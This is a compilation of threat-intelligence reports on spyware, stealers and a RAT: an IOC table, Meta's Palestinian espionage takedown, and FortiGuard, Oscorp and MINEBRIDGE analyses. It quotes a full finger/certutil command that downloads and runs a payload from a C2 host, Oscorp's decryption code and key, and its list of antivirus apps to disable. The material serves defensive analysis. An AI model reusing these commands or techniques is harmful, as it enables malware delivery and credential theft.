4fbc4835746a9c64f8d697659bfe8554 | Dec 24 10:25:39 2020 | | b43d7317d3144c760d82c4c7506eba1143821ac1 | | | 95bcc8c3d9d23289b4ff284cb685b741fe92949be35c69c1faa3a3846f1ab947 | | ### Related Payloads | Hash | Name | Compilation Date | |----------------------------------------------------------------------|-------------------|--------------------------------| | b31008f6490ffe7ba7a8edb9e9a8c137 | FmtOptions.dll | Jan 11 10:00:42 2021 | | 4a4b976991112b47b6a3d6ce19cc1c4f89984635ed16aea9f88275805b005461 | | | | ac29cb9c702d9359ade1b8a5571dce7d | yerodns.dll | Oct 29 10:33:20 2019 | | d8de88e518460ee7ffdffaa4599ccc415e105fc318b36bc8fe998300ee5ad984 | mcutil.dll | Jun 13 16:35:46 2019 | | 95991f445d846455b58d203dac530b0b | mcutil.dll | Feb 21 09:41:11 2020 | ### Post Exploitation Tools | Hash | Name | Compilation Date | |----------------------------------------------------------------------|--------------------------|--------------------------------| | c727a8fc56cedc69f0cfd2f2f5796797 | ZoomVideoApp.exe | Mar 02 10:51:31 2021 | | 361ccc35f7ff405eb904910de126a5775de831b4229a4fdebfbacdd941ad3c56 | | | ### Domains and IPs - 103.15.28[.]195 - 202.59.10[.]253 - updatecatalogs[.]com - mopfi-ferd[.]com - mmtimes[.]net - mmtimes[.]org - 7daydai1y[.]com - irrawddy[.]com **Tags**: APT, Browser, Chinese-speaking cybercrime, Digital Certificates, Google Chrome, Malware Descriptions, Malware Technologies, Microsoft Word, Spear phishing, Targeted attacks.
# Taking Action Against Hackers in Palestine April 7, 2022 Today, we’re sharing actions we took against two separate groups of hackers in Palestine — a network linked to the Preventive Security Service (PSS) and a threat actor known as Arid Viper — removing their ability to use their infrastructure to abuse our platform, distribute malware, and hack people’s accounts across the internet. To the best of our knowledge, this is the first public reporting of this PSS activity. Facebook threat intelligence analysts and security experts work to find and stop a wide range of threats including cyber espionage campaigns, influence operations, and hacking of our platform by nation-state actors and other groups. As part of these efforts, our teams routinely disrupt adversary operations by disabling them, notifying people if they should take steps to protect their accounts, sharing our findings publicly, and continuing to improve the security of our products. Today we’re sharing our latest research into two clusters of unconnected cyber espionage activity. One of them targeted primarily domestic audiences in Palestine. The other cluster targeted audiences in the Palestinian territories and Syria and to a lesser extent Turkey, Iraq, Lebanon, and Libya. To disrupt both these operations, we took down their accounts, released malware hashes, blocked domains associated with their activity, and alerted people who we believe were targeted by these groups to help them secure their accounts. We shared information with our industry partners including the anti-virus community so they too can detect and stop this activity, strengthening our collective response against these groups across the internet. We encourage people to remain vigilant and take steps to protect their accounts, avoid clicking on suspicious links, and downloading software from untrusted sources that can compromise their devices and information stored on them. The groups behind these operations are persistent adversaries, and we know they will evolve their tactics in response to our enforcement. However, we keep improving our detection systems and collaborating with other teams in the security community to continue making it harder for these threat actors to remain undetected. We’ll keep sharing our findings when possible so people are aware of the threats we’re seeing and can take steps to strengthen the security of their accounts. ## Here’s What We Found ### PSS-Linked Group This activity originated in the West Bank and focused on the Palestinian territories and Syria, and to a lesser extent Turkey, Iraq, Lebanon, and Libya. It relied on social engineering to trick people into clicking on malicious links and installing malware on their devices. Our investigation found links to the Preventive Security Service — the Palestinian Authority’s internal intelligence organization. This persistent threat actor focused on a wide range of targets, including journalists, people opposing the Fatah-led government, human rights activists, and military groups including the Syrian opposition and Iraqi military. They used their own low-sophistication malware disguised as secure chat applications, in addition to malware tools openly available on the internet. Our investigation analyzed a number of notable tactics, techniques, and procedures (TTPs): - **Android malware:** This group’s custom-built Android malware had relatively simple functionality and required a limited set of device-level permissions, which likely helped it to stay under the radar for most anti-virus detection systems. This malware masqueraded as secure chat applications. Once installed, it collected information such as device metadata (e.g., manufacturer, OS version, IMEI), call logs, location, contacts, and text messages. In rare cases, it also contained keylogger functionality — an ability to record every keystroke made on a device. Once collected, the malware would upload the data to Firebase, a mobile app development platform. In addition to their custom-made malware, this group also utilized publicly available Android malware called SpyNote which had more functionality including remote device access and the ability to monitor calls. - **Windows malware:** This group occasionally deployed publicly available malware for Windows, including NJRat and HWorm, commonly used in the region. They also bundled Windows malware in the installer package for their own decoy application for journalists to submit human rights-related articles for publication. This app had no legitimate functionality. - **Social engineering:** This group used fake and compromised accounts to create fictitious personas posing primarily as young women, and also as supporters of Hamas, Fatah, various military groups, journalists, and activists to build trust with people they targeted and trick them into installing malicious software. Some of their Pages were designed to lure particular followers for later social engineering and malware targeting. Likely to build audiences, these Pages posted memes criticizing Russian foreign policy in the Middle East, Russian military contractor Wagner Group, and its involvement in Syria and Libya and the Assad government. ### Threat Indicators: **Android C2 Domains:** - news-fbcb4.firebaseio[.]com - news-fbcb4.appspot[.]com - chaty-98547.firebaseio[.]com - chaty-98547.appspot[.]com - jamila-c8420.firebaseio[.]com - jamila-c8420.appspot[.]com - showra-22501.firebaseio[.]com - showra-22501.appspot[.]com - goodwork-25869.firebaseio[.]com - goodwork-25869.appspot[.]com - advance-chat-app.firebaseio[.]com - advance-chat-app.appspot[.]com - filtersapp-715ee.firebaseio[.]com - filtersapp-715ee.appspot[.]com - humanrights-1398b.firebaseio[.]com - humanrights-1398b.appspot[.]com - jamilabouhaird-c0935.firebaseio[.]com - jamilabouhaird-c0935.appspot[.]com - hotchat-f0c0e.appspot[.]com - hotnewchat.appspot[.]com **Android Hashes:** - aeb0c38219e714ab881d0065b9fc1915ba84ad5b86916a82814d056f1dfaf66d - 3c21c0f64ef7b606abb73b9574d0d66895e180e6d1cf2ad21addd5ade79b69fb - d2787aff6e827809b836e62b06cca68bec92b3e2144f132a0015ce397cf3cac2 - 2580f7afb4746b223b14aceab76bd8bc2e4366bfa55ebf203de2715176032525 - f7ea82e4c329bf8e29e9da37fcaf35201dd79c2fc55cc0feb88aedf0b2d26ec2 - 0540051935145fb1e3f9361ec55b62a759ce6796c1f355249805d186046328dc - 03de278ec4c4855b885520a377f8b1df462a1d8a4b57b492b3b052aafe509793 - fe77e052dc1a8ebea389bc0d017191e0f41d8e47d034c30df95e3d0dc33cfe10 - 6356d55c79a82829c949a46c762f9bb4ca53da01a304b13b362a8a9cab20d4d2 - 9a53506c429fa4ff9113b2cbd37d96c708b4ebb8f3424c1b7f6b05ef678f2230 - bf61c078157dd7523cb580672273190de5de3d41577f5d66c5afcdfeade09213 - 154cb010e8ac4c50a47f4b218c133b5c7d059f5aff4c2820486e0ae511966e89 - 44ccafb69e61139d9107a87f58133c43b8586931faf620c38c1824057d66d614 **SpyNote C2:** - lion20810397.ddns[.]net **Windows Malware C2 Domains:** - camera.dvrcam[.]info - facebooks.ddns[.]me - google.loginto[.]me **Windows Malware Hashes:** - 05320c7348c156f0a98907d2b1527ff080eae36437d58735f2822d9f42f5d273 **Links to Android Malware:** - app-chat1.atwebpages[.]com - app-showchat.atwebpages[.]com - showra-chat.atwebpages[.]com ### Arid Viper This activity originated in Palestine and targeted individuals in the same region, including government officials, members of the Fatah political party, student groups, and security forces. Our investigation linked this campaign to Arid Viper, a known advanced persistent threat actor. It used sprawling infrastructure to support its operations, including over a hundred websites that either hosted iOS and Android malware, attempted to steal credentials through phishing, or acted as command and control servers. They appear to operate across multiple internet services, using a combination of social engineering, phishing websites, and continually evolving Windows and Android malware in targeted cyber espionage campaigns. We shared threat indicators with industry peers and security researchers as part of a concerted effort to disrupt this group’s operations. We’re also sharing a detailed technical report with our findings, including threat indicators to help advance our industry’s understanding of this adversary. Here are our key findings and some of the notable tactics, techniques, and procedures (TTPs) we’ve observed: - **Custom iOS Surveillanceware:** Arid Viper used custom-built iOS surveillanceware which hasn’t been previously reported and reflects a tactical shift. We call this iOS component Phenakite due to it being rare and deriving its name from the Greek word Phenakos, meaning to deceive or cheat. Installation of Phenakite required that people be tricked into installing a mobile configuration profile. This allowed for a device-specific signed version of the iOS app to be installed on a device. A jailbroken device wasn’t required. Post-installation, a jailbreak was necessary for the malware to elevate its privileges to retrieve sensitive user information not accessible via standard iOS permission requests. This was achieved with the publicly available Osiris jailbreak that made use of the Sock Port exploit, both of which were bundled in the malicious iOS app store packages (IPAs). Arid Viper’s iOS surveillanceware was trojanized inside a fully functional chat application that used the open-source RealtimeChat code for legitimate app functionality. This malware could also direct people to phishing pages for Facebook and iCloud to steal their credentials for those services. Arid Viper’s use of custom iOS surveillanceware shows that this capability is becoming increasingly attainable by adversaries believed to be of lower sophistication. - **Evolving Android and Windows Malware:** The Android tooling used by Arid Viper shares many similarities with malware previously reported as FrozenCell and VAMP. The Android malware deployed by Arid Viper required people to install apps from third-party sources on their devices. The group used various convincing, attacker-controlled sites to create the impression that the apps were legitimate. Arid Viper’s recent operations also used variants of a malware family known as Micropsia, which previously has been associated with this threat actor. - **Malware Distribution:** Delivery of both the Android and iOS malware involved social engineering. Android malware was typically hosted on convincing looking attacker-controlled phishing sites. At the time of this writing, we discovered 41 such sites. iOS malware was previously found to be distributed from a 3rd party Chinese app development site. After we shared our findings with industry partners which led to the revocation of multiple developer certificates, Arid Viper’s ability to distribute Phenakite was disrupted. We’ve since seen them try setting up their own infrastructure to distribute their iOS implant. While Arid Viper tooling has previously been discovered in official app channels like the Play Store, we didn’t find it to be the case in this most recent campaign.
# Fresh Malware Hunts for Crypto Wallet and Credentials **FortiGuard Labs Threat Research Report** **Affected platforms:** Microsoft Windows **Impacted parties:** Windows Users **Impact:** Collects sensitive information from victims’ computers **Severity level:** Critical The FortiGuard Labs team was recently monitoring a new phishing campaign that uses the classic strategy of attaching a malicious Microsoft Word document to an unsolicited email that recipients were then asked to open. However, after deep research on this phishing campaign, it was realized that fresh malware was being delivered by the Word document designed to steal crypto wallet information and credentials from the victims’ infected devices. This malware doesn’t seem to belong to any known malware family, so it was named "dmechant", which is a constant string compiled in the malware sample. In this analysis, findings on this new malware are revealed, including how it is launched by the Word document, how the executable deploys itself on the victim’s device, what kind of sensitive information it searches for, and how stolen data is sent to the attacker via SMTP protocol. ## The Email Captured by FortiGuard Labs and the Word Document The spam email looks like an urgent order reminder from a purchase manager. It asks the recipient to review the materials in the attached Word document and then reply to the email as soon as possible. As with Word documents used in other phishing campaigns, this one includes a malicious Macro. Once opened, Word displays a security warning bar to inform the user of the risk of opening it. Interestingly, the content of this document is written in Spanish. The best guesses are that this campaign is targeting multiple regions and the wrong document was attached, or this is being done deliberately to disguise the warning. The malicious Macro is executed once the button "Enable Content" is clicked. It has a VBA function called Document_Open(). This is a built-in function of the Macro and is called automatically when the document is opened. It then calls other functions to extract a JS (JavaScript) code into a file (rtbdxsdcb.js) under the %temp% folder. After that, it executes this “JS” file to finish the Macro’s work. Going through the JS code, it is found that its code is highly obfuscated. According to the analysis, its major task is to request the URL: `hxxps[:]//cdn[.]discordapp[.]com/attachments/789415918744764447/857131714521202688/blessed[.]exe` This downloads an executable file into %Temp% and saves it as erbxcb.exe, which is the payload file of this malware. Later, it creates a WScript.Shell object to start up the payload executable file on the infected device. ### Stage I – Starting the Payload Executable File The payload file, erbxcb.exe, is disguised as a PDF document to confuse the victim. Once it starts, erbxcb.exe loads a block of compressed data from its PE file and decompresses it into a local file named %Temp%\arwtfgxjpx80. It continues to dynamically extract a piece of code into the Stack memory and get it executed. The extracted code mainly performs: 1. It copies erbxcb.exe into a newly-created folder (%AppData%\bplg) and renames it to “aoqn.exe”. 2. It adds the copied file into the auto-run group in the system registry. 3. It then loads the decompressed file %Temp%\arwtfgxjpx80 into memory and calls a function to decrypt it. The dynamic code then creates a duplicate of the current process (erbxcb.exe) in a suspended state. In this way, it is able to deploy the decrypted PE file into the newly-created second process. ### Stage II – Real Malware Runs Inside the Second Process According to the analysis, the decrypted PE file running inside the second process is written in MS Visual Basic 5.0-6.0 language without any packer. When it starts, it first gathers basic information about the victim’s device, such as current System Time, Windows Version, User Name, Computer Name, and so on. This information will be sent to the attacker along with other stolen data. This malware focuses on collecting profiles of crypto wallets (if installed) from the infected device. It has ten predefined crypto wallet software instances in the malware with a dynamically combined default profile folder path. This crypto wallet software includes: Zcash, Armory, Bytecoin, Jaxx Liberty, Exodus, Ethereum, Electrum, Atomic, Guarda, and Coinomi. Once a crypto wallet is detected, it copies the entire folder containing the wallet’s profile data to its home folder (at “%AppData%\Microsoft\Windows\Templates”). It then compresses the copied profile folders into a ZIP archive—CryptoWallets.zip—which is eventually sent to the attacker as an email attachment. ### Collect Saved Credentials by Executing an Extracted EXE file It also extracts an EXE file (“sdedffggdg.exe”) from the Resource section, which is written by .Net Framework. This malware collects credentials from predefined browsers and saves the collected information into a newly-created credentials.txt file under its home folder. “sdedffggdg.exe” is able to collect saved credentials from the following predefined browsers (if installed): Chrome, Opera, Yandex, 360 Browser, Comodo Dragon, CoolNovo, SRWare Iron, Torch Browser, Brave Browser, Iridium Browser, 7Star, Amigo, CentBrowser, Chedot, CocCoc, Elements Browser, Epic Privacy Browser, Kometa, Orbitum, Sputnik, uCozMedia, Vivaldi, Sleipnir 6, Citrio, Coowon, Liebao Browser, QIP Surf, and Edge Chromium. ### Collect Other Saved Credentials Other than the browsers identified above, this malware also collects saved credentials from other installed software clients, including Outlook, CoreFTP, FileZilla, NordVPN, FoxMail, Thunderbird, and similar browsers such as Firefox, Waterfox, K-Meleon, Cyberfox, and BlackHawk. ### Stage III – Sending Collected Data to the Attacker via SMTP This malware has a specific function used to generate and send an email that includes the stolen sensitive information using the created CDO.Message object. The subject starts with a keyword and follows with the victim’s Computer Name and User Name. The keyword string should be one of the “CryptoWallets” for the crypto wallet profile, “Passwords” for credentials, or “Keylogger” for key logger data (this function was not enabled in this version). After an email is created, the CDO.Message’s Send() function is called to send the email out to the attacker’s email address. ## Conclusion In this post, the phishing email captured by FortiGuard Labs and its attached Word document were detailed. The process of how a JS file is extracted and executed by the Macro to download the malware’s payload executable file was demonstrated. The main tasks of the malware, how and what kind of sensitive information it collects from the infected device, including crypto wallet profile information and the credentials of browsers and clients, and how that collected data is sent to the attacker using the SMTP protocol were also discussed. Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiEDR, and CDR (content disarm and reconstruction) services. The downloading URL has been rated as "Malicious Websites" by the FortiGuard Web Filtering service. The Word document and downloaded executable file are detected as "VBS/Agent.4885!tr" and "W32/Kryptik.J!tr" and are blocked by the FortiGuard AntiVirus service. FortiMail users are protected by FortiGuard AntiVirus, which detects the original Word document as a malicious attachment in the phishing email, and further protected with the CDR service, which can be used to neutralize the threat of any macros within Office documents. FortiEDR detects the downloaded executable file as malicious based on its behavior. ### IOCs **URLs:** `hxxps[:]//cdn[.]discordapp[.]com/attachments/789415918744764447/857131714521202688/blessed.exe` **Sample SHA-256:** `[Ncc June Purchase -Contract 0262320216486488574.doc]` `105D9496D4F80AE5EF3C7642F55117B65A10398AFE5FF9C30D706FA9873CFD6A` `[erbxcb.exe or aoqn.exe]` `9C7023EFB920442DFD73D96D303A1B2CFB53A727F2B6B55DE8B4D25BC90FE95E`
# Oscorp, il “solito” malware per Android Due giorni fa abbiamo pubblicato la notizia di un sito volto alla distribuzione dell’ennesimo malware per Android. Non avendo trovato riscontro circa l’identità di questo malware, lo abbiamo battezzato Oscorp, dal titolo della pagina di login del suo C2. Oggi vediamo più nel dettaglio le capacità di questo malware. Va precisato che i malware per Android seguono tutti lo stesso copione: inducono l’utente ad installare un servizio di accessibilità con il quale possono leggere cosa è presente e cosa viene digitato nello schermo; non potendo accedere ai file privati di altre applicazioni, le azioni di queste app malevole si “limitano” al furto di credenziali tramite pagine di phishing (dette, nel gergo dei malware, injections), al blocco del dispositivo (inteso come blocco dello schermo) ed eventualmente alla cattura di audio e video. Questo malware non è diverso: dal suo Manifest.xml qui riportato si evince la presenza di 5 activity, 8 servizi, 4 intent receiver e la richiesta di 28 permessi. A differenza di malware come Alien, Cerberus e altri derivati di Anubis, questo non carica, nell’evento `onAttachBaseContext` della classe `Application`, delle classi aggiuntive contenute in un file DEX cifrato con RC4 e presente negli asset. L’analisi è quindi un po’ più immediata. ## Decifrare le stringhe Nel codice del malware compaiono spesso chiamate della forma `C.f(g._z, g.Zz)`, si tratta della procedura che decifra le stringhe. Il codice dei metodi rilevanti è riportato qui sotto. ```java public static String f(String str, String str2) { try { return new String(a(2, str2).doFinal(Base64.decode(str.getBytes(), 0)), "UTF-8"); } catch (Exception e2) { return e2.toString(); } } public static Cipher a(int i, String str) { if (str.length() == 32) { Cipher instance = Cipher.getInstance("AES/CBC/PKCS5Padding"); instance.init(i, new SecretKeySpec(str.getBytes(), "AES"), new IvParameterSpec(str.substring(0, 16).getBytes())); return instance; } throw new RuntimeException("Camera Permission Not Enabled"); } ``` Il codice non presenta particolari difficoltà per l’analisi, possiamo riassumere la decodifica delle stringhe con lo schema che segue. La stringa che è usata come chiave e come IV (per questo scopo solo i primi 16 byte sono rilevanti) è `RHBuUXFEhkrbrHaYIZ6VYH3uNIBRnwTe`. Una semplice ricetta Cyberchef mostra l’esempio di una stringa decifrata. ## Activity principale L’activity principale è `com.cosmos.starwarz.MainActivity`, la parte rilevante del codice (ripulito) di questa activity è riportato qui sotto. Possiamo notare come: - All’avvio viene generato un file di preferenze condivise. Si tratta dell’usuale meccanismo di condivisione e scambio di dati tra le varie componenti (asincrone) del malware. - Viene calcolato l’id della vittima (`botid`), che ha formato `\d{4}[A-Z0-9]{6}`. La chiave `sgen` tiene traccia dell’avvenuta generazione. - L’applicazione viene disabilitata, per impedirne l’avvio esplicito da parte dell’utente (non viene mostrata neanche nel launcher). - Viene avviato il servizio `Geny2`. ## Il servizio Geny2 Questo servizio ha lo scopo di indurre l’utente ad abilitare il servizio di accessibilità del malware e, una volta attivato, abilitare automaticamente alcuni permessi. Ogni 8 secondi viene eseguito il task mostrato qui sotto. Qualora l’utente non abbia abilitato il servizio di accessibilità, il malware continua a riaprire la schermata di impostazioni per farlo. In questo modo l’utente è pressato ad accettare nella speranza che la schermata smetta di presentarsi. Se il servizio di accessibilità è abilitato ma non è abilitato il permesso di accesso alle statistiche di utilizzo del dispositivo, il malware riapre continuamente la schermata delle relative impostazioni. Questo permette al servizio di accessibilità di impostare automaticamente i permessi al malware. Infine lo stesso meccanismo è usato per abilitare il malware ad interrompere il Doze mode e per ottenere almeno uno dei permessi richiesti nel manifest. ## Il servizio di accessibilità Un servizio di accessibilità è un componente di un app che fornisce funzionalità di aiuto alla lettura ed uso del dispositivo per utenti diversamente abili. Per la sua natura può quindi leggere tutto quello che è presente sullo schermo, quello che l’utente digita e può simulare il tocco sullo schermo. I malware utilizzano queste capacità per effettuare azioni privilegiate in modo automatico. Questo malware non fa eccezione; il servizio di accessibilità permette infatti di: - Abilitare funzionalità di keylogger. - Ottenere automaticamente i permessi e le capability richieste dal malware. - Disinstallare app. - Effettuare chiamate. - Inviare SMS. - Rubare criptovaluta. - Rubare il PIN per la 2FA di Google. Le ultime due funzionalità sono peculiari di questo malware. Il codice sotto mostra come viene cambiato l’indirizzo del portafoglio bitcoin (P2PKH) quando vengono fatti pagamenti con l’app Blockchain.com wallet. Il portafoglio usato dal malware ha un pagamento di più di 584 dollari, effettuato però in data 09/01/2020. Il PIN della 2FA di Google viene inviato, insieme all’ID della vittima, al C2 usando l’URL `/api/achillies/2FA.php`. Le applicazioni che contengono queste stringhe nel loro nome sono disabilitate: `security`, `pcprotect`, `totalav`, `clean`, `virus`, `junk`, `malware`, `anti`, `guard`, `boost`, `scan`, `trendmicro`, `symantec`, `protect`, `avast`, `kms`, `avira`, `eset`, `lookout`, `drweb`, `cleaner`, `com.wsandroid.suite`. ## Il servizio PJService Questo servizio si occupa di collezionare informazioni generiche sul dispositivo, come: - Le app installate. - Il modello del telefono. - L’operatore del telefono. Questi dati sono inviati al C2, agli URL `/api/app/device` e `/api/app/device/apps`. Infine, viene avviato il servizio `LucasService`. ## Il servizio LucasService Con questo servizio il malware effettua tre importanti azioni malevole: 1. La prima è l’invio degli SMS al C2, all’URL `/app/device/sms`. 2. La seconda azione malevola è il ping al C2, all’URL `/app/device/ping`. Il ping contiene le statistiche di uso del dispositivo, oltre all’id della vittima e lo stato di attivazione della funzionalità di admin. 3. L’ultima azione malevola è il recupero dei comandi da eseguire dal C2, all’URL `/app/device/commands`. La comunicazione con il C2 avviene tramite richieste HTTP POST. Nel corpo sono passati solo due parametri: `fuck` e `you`. Il primo contiene i dati del comando inviato al C2, il secondo contiene l’identificativo stringa del comando. Entrambi i parametri sono cifrati in modo complementare alle stringhe: solito meccanismo ma partendo da destra verso sinistra (e usando AES in modalità cifratura). ## I comandi supportati dal malware I comandi supportati dal malware sono presenti dentro questa classe, cifrati nel modo indicato ad inizio articolo. Essi sono: - `toast`: Mostra un toast (un testo in sovraimpressione). - `send_message`: Invia un SMS. - `stock_injection`: Salva gli injection (phishing) forniti dal C2 nel file `Jedi/Injections.txt` nello storage esterno dell’app. - `forward_call`: Imposta la deviazione di chiamata (con *21*), per tutte le chiamate in ingresso, verso il numero indicato. - `run_application`: Avvia un’app, dato il suo package (l’app deve essere installata). - `enab_sil`: Silenzia tutti i volumi del dispositivo (silenzioso). - `switch_sms`: Si imposta come gestore degli SMS. - `remove_injection`: Rimuove un injection tra quelli salvati. - `2FA`: Avvia l’app per la 2FA di Google (`com.google.android.apps.authenticator2`). - `make_call`: Effettua una chiamata. - `dev_admin`: Si imposta come app admin. - `run_ussd`: Esegue un codice speciale per l’operatore di telefonia (USSD). - `block`: Salva le app da bloccare in `Jedi/block.txt` e avvia `MyService`. - `launch_url`: Avvia la navigazione verso un URL. - `fetch_applications`: Recupera la lista di applicazioni installate (usa la classe `AppService`). - `delete_message`: Elimina un SMS. - `delete_application`: Rimuove un’applicazione. - `batt_opt`: Apre le impostazioni per il Doze mode (in modo che l’Accessibility service metta automaticamente il malware tra le app che possono svegliare il dispositivo). - `url_injection`: Avvia `MyService`. - `screencap`: Avvia la registrazione audio e video (dello schermo) attraverso WebRTC ed un paio di server STUN. ## La cattura dell’audio e del video Il comando `screencap` avvia la classe `Ramp`, la quale contiene il codice per avviare uno streaming WebRTC (il C2 è scritto in NodeJS ed utilizza socket.io) dell’audio e dello schermo della vittima. Si nota l’utilizzo di due server STUN, utilizzati per aggirare le limitazioni dei NAT nelle comunicazioni peer-to-peer. ## Gli Injection ed il blocco delle app Quando il package di un’app matcha il contenuto del file degli injection, il servizio `MyService` mostra un’activity contenente una WebView che mostra il contenuto della pagina HTML ritornata dal C2 all’URL `/YTrJWNMmHkAPfdWA4QsfPwufCBhpYGbG/LFwbkjNthZk9jDtvADjnS7FyUPcjKPpb/<id-injection>.html?id=<id vittima>`. Quando l’utente apre una delle app obiettivo del malware, si ritrova davanti una schermata (la phishing page) che richiede di inserire nome utente e password. Lo stile di questa schermata varia da app ad app ed è fatto in modo da risultare plausibile alla vittima. Se l’app avviata è invece presente nel file `Block.txt`, il dispositivo viene dirottato alla schermata del launcher. Questo impedisce all’utente di usare l’applicazione. Non abbiamo evidenza di quale tipo di applicazioni siano target di questo malware ma non è difficile immaginare che sia tutte quelle che trattano dati sensibili, come le applicazioni per l’home banking e di messaggistica. ## Conclusioni Anche in questo caso siamo in presenza di un malware per Android che sfrutta un Accessibility service. Le protezioni di Android impediscono al malware di fare qualsiasi tipo di danno finchè l’utente non abilita tale servizio. Una volta abilitato però, si apre una “diga”. Android infatti ha sempre tenuto una politica molto permissiva nei confronti degli sviluppatori di app, lasciando la decisione ultima di fidarsi o meno di un’app all’utente finale. Un approccio opposto a quello di Apple, che impedisce di installare applicazioni che non siano state da lei firmate attraverso il suo store. Store nel quale è possibile pubblicare contenuto solo dopo aver passato i controlli di Apple e aver pagato la relativa quota annuale. Android utilizza invece diversi meccanismi di protezione presenti in Linux, tra cui l’isolamento delle app tramite namespacing, MLS/MCS implementata tramite SELinux, applicazione del principio di least privilege per quanto riguarda le capability Linux e limitazione delle risorse tramite cgroups e i meccanismi insiti nel kernel. È ironico come un sistema così protetto contro attacchi mirati da parte di criminali di alto livello (o da parte di agenzie governative) non sia efficace nel proteggere i propri utenti contro le minacce perpetuate da criminali meno competenti ma molto abili a sfruttare il fattore umano. Quello che forse è il vero punto di forza di Android (rispetto ad iOS) è la fiducia che ripone nei suoi utilizzatori e nella community di sviluppatori, che al contempo rappresenta anche il suo tallone d’Achille per quanto riguarda la sicurezza che può offrire per i dati degli utenti.
# Return of the MINEBRIDGE RAT With New TTPs and Social Engineering Lures ## Introduction In Jan 2021, Zscaler ThreatLabZ discovered new instances of the MINEBRIDGE remote-access Trojan (RAT) embedded in macro-based Word document files crafted to look like valid job resumes (CVs). Such lures are often used as social engineering schemes by threat actors. MINEBRIDGE buries itself into the vulnerable remote desktop software TeamViewer, enabling the threat actor to take a wide array of remote follow-on actions such as spying on users or deploying additional malware. We have recently observed other instances of threat actors targeting security researchers with social engineering techniques. While the threat actor we discuss in this blog is not the same, the use of social engineering tactics targeting security teams appears to be on an upward trend. We also observed a few changes in the tactics, techniques, and procedures (TTPs) of the threat actor since the last instance of MINEBRIDGE RAT was observed in March 2020. In this blog, we provide insights into the changes in TTPs, threat attribution, command-and-control (C&C) infrastructure, and a technical analysis of the attack flow. ## Threat Attribution This attack was likely carried out by TA505, a financially motivated threat group that has been active since at least 2014. TA505 has been previously linked to very similar attacks using MINEBRIDGE RAT. The job resume theme and C&C infrastructure used in this new instance is consistent and in line with these former attacks. Due to the low volume of samples we identified for this new attack, we attribute it to the same threat actor with a moderate confidence level. ## Attack Flow ### Macro Technical Analysis For the purpose of technical analysis of the attack flow, we will look at the macro-based Word document with the MD5 hash: `f95643710018c437754b8a11cc943348`. When the Word document is opened and the macros are enabled, it displays the message: “File successfully converted from PDF” for social engineering purposes. This message is followed by displaying the decoy document which resembles a job resume (CV) of a threat intelligence analyst. The macro code uses basic string obfuscation. It constructs the following command line and then executes it using Windows Management Instrumentation (WMI): ``` cmd /C finger [email protected] > %appdata%\vUCooUr >> %appdata%\vUCooUr1 && certutil -decode %appdata%\vUCooUr1 %appdata%\vUCooUr.exe && cmd /C del %appdata%\vUCooUr1 && %appdata%\vUCooUr.exe ``` This command leverages the Windows utility `finger.exe` to download encoded content from the IP address: `184.164.146.102` and drops it in the `%appdata%` directory. The encoded content is decoded using the legitimate Windows utility `certutil.exe` and executed. The usage of `finger.exe` to download the encoded content from the C&C server is one of the major TTP changes by this threat actor. We see an increase in usage of living-off-the-land binaries (LOLBins) by the threat actor to download, decode, and execute the content in this new instance. ### Stage 1: SFX Archive The content decoded using `certutil.exe` is a self-extracting archive (SFX). The MD5 hash of the SFX archive is `73b7b416d3e5b1ed0aa49bda20f7729a`. Contents of the SFX archive spoof a legitimate TeamViewer application. Upon execution, this SFX archive drops the legitimate TeamViewer binaries, a few DLLs, and some document files. Execution flow starts with the binary called `defrender.exe`, which is masked to appear as a Windows Defender binary. ### Stage 2 – DLL Side Loading The dropped binary `defrender.exe` is a legitimate TeamViewer application version `11.2.2150.0` which is vulnerable to DLL side loading. Upon execution, it loads the `msi.dll` binary present in the same directory. The `msi.dll` is the file that performs further malicious activity in the system. Next, `MSI.dll` unpacks a shellcode and executes it. The shellcode further unpacks another DLL with MD5 hash: `59876020bb9b99e9de93f1dd2b14c7e7` from a hardcoded offset, maps it into the memory, and finally transfers the code execution to its entry point. The unpacked DLL is a UPX-packed binary of MINEBRIDGE RAT. ### Stage 3: MINEBRIDGE RAT DLL On unpacking the UPX layer, we get the main MINEBRIDGE RAT DLL with MD5 hash: `23edc18075533a4bb79b7c4ef71ff314`. At the very beginning, MINEBRIDGE RAT confirms that the DLL is not executed either via `regsvr32.exe` or `rundll32.exe`. Then it checks the command-line argument and performs the following operations: 1. If the command-line argument is `__RESTART__`, then sleep for 5 seconds and perform the operations which are described further. 2. If the command-line argument is `__START__`, then it starts a BITS job to download a zip file-based payload and perform the operations which are described further. ### BITS Job Download The BITS job downloads a zip file by selecting a random C&C domain from the hardcoded list inside the DLL using path `"/~4387gfoyusfh_gut/~3fog467wugrgfgd43r9.bin"`. The downloaded DLL is dropped to a hardcoded filename `~f834ygf8yrubgfy4sd23.bin` in the `%temp%` directory. When the download is completed, the zip file is extracted to `%ProgramData%\VolumeDrive\`. After performing the above-mentioned checks, it loads the legitimate `MSI.dll` from `%System32%` directory to initialize its own Export Address Table. This is done to prevent application crashes when any of the export functions are called. It then generates the `BOT_ID` after doing some computations with `VolumeSerialNumber`. ### API Hooking MINEBRIDGE RAT then uses the `mHook` module to hook the following APIs, intercepting function calls in order to avoid accidental exposure of malicious code execution to the user: - MessageBoxA - MessageBoxW - SetWindowTextW - IsWindowVisible - DialogBoxParamW - ShowWindow - RegisterClassExW - CreateWindowExW - CreateDialogParamW - Shell_NotifyIconW - ShellExecuteExW - GetAdaptersInfo - RegCreateKeyExW - SetCurrentDirectoryW - CreateMutexW - CreateMutexA - CreateFileW - GetVolumeInformationW Since the last observed instance of this attack in 2020, a few more APIs have been added to the hook list. Finally, if all the APIs are hooked successfully, MINEBRIDGE RAT creates three threads in a sequence that perform the following tasks: 1. First thread is responsible for C&C communication and achieving persistence. 2. Second thread gathers when the last input was retrieved to check system idle status. 3. Third thread kills the `ShowNotificationDialog` process regularly to avoid any notification popups. ### Persistence For persistence, MINEBRIDGE RAT creates a LNK file with the name “Windows Logon.lnk” in the startup directory. The LNK file points to the currently executing binary with icon same as “wlrmdr.exe” and description as “Windows Logon”. ### C&C Communication MINEBRIDGE RAT supports the following C&C commands: - drun_command - rundll_command - update_command - restart_command - terminate_command - kill_command - poweroff_command - reboot_command - Setinterval_command At the time of analysis, we didn’t receive any active response from the C2 server. However, based on the code flow, the communication mechanism seems to be the same as previously reported attack instances. ### Alternate Attack Flow The MINEBRIDGE RAT DLL also has the support to be executed via `regsvr32.exe`. The malicious code is present inside the `DllRegisterServer` export. When executed via `regsvr32.exe` or `rundll32.exe`, the `DllMain` routine won’t perform any actions but `regsvr32.exe` also calls `DllRegisterServer` export 